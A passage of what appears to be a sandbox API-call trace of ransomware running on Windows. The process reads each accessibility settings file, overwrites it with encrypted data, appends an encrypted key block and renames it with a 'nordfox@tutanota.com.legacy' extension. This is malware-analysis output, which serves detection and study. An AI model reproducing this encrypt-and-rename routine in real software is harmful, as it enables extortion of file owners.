(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsReadHintsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.747] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x54b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.749] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.749] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x54b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.750] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54b [0197.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.750] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.751] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.751] CloseHandle (hObject=0x1c24) returned 1 [0197.751] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsReadHintsEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isreadhintsenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsReadHintsEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isreadhintsenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.754] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsPlayAudioCuesEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.754] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x55f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x55f, lpOverlapped=0x0) returned 1 [0197.757] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1375, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.757] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x55f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x55f, lpOverlapped=0x0) returned 1 [0197.758] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x55f [0197.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.758] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.758] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.759] CloseHandle (hObject=0x1c24) returned 1 [0197.759] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsPlayAudioCuesEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isplayaudiocuesenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsPlayAudioCuesEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isplayaudiocuesenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.764] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsHighlightCursorEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.764] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x56a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x56a, lpOverlapped=0x0) returned 1 [0197.766] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x56a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x56a, lpOverlapped=0x0) returned 1 [0197.767] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x56a [0197.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.768] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.768] CloseHandle (hObject=0x1c24) returned 1 [0197.768] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsHighlightCursorEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_ishighlightcursorenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsHighlightCursorEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_ishighlightcursorenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.771] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.771] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.771] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFollowInsertionEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.771] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x56a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x56a, lpOverlapped=0x0) returned 1 [0197.781] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.781] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x56a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x56a, lpOverlapped=0x0) returned 1 [0197.781] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x56a [0197.781] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.781] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.782] CloseHandle (hObject=0x1c24) returned 1 [0197.783] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFollowInsertionEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isfollowinsertionenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFollowInsertionEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isfollowinsertionenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFastKeyEntryEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.785] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x55b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x55b, lpOverlapped=0x0) returned 1 [0197.786] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1371, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x55b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x55b, lpOverlapped=0x0) returned 1 [0197.786] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x55b [0197.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.787] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.787] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.787] CloseHandle (hObject=0x1c24) returned 1 [0197.787] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFastKeyEntryEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isfastkeyentryenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsFastKeyEntryEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isfastkeyentryenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.790] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.791] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0197.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.792] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.792] CloseHandle (hObject=0x1c24) returned 1 [0197.792] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoWordEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.794] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x546, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.795] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.796] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x546, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x546, lpOverlapped=0x0) returned 1 [0197.796] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x546 [0197.796] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.796] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.796] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.796] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.797] CloseHandle (hObject=0x1c24) returned 1 [0197.797] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoWordEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isechowordenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoWordEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_narrator_isechowordenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.800] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Narrator_IsEchoCharacterEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.801] ReadFile (in: hFile=0x1c24, lpBuffer=0x3562008, nNumberOfBytesToRead=0x55f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x55f, lpOverlapped=0x0) returned 1 [0197.802] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1375, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.802] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562570*, nNumberOfBytesToWrite=0x55f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x55f, lpOverlapped=0x0) returned 1 [0197.802] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x55f [0197.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: 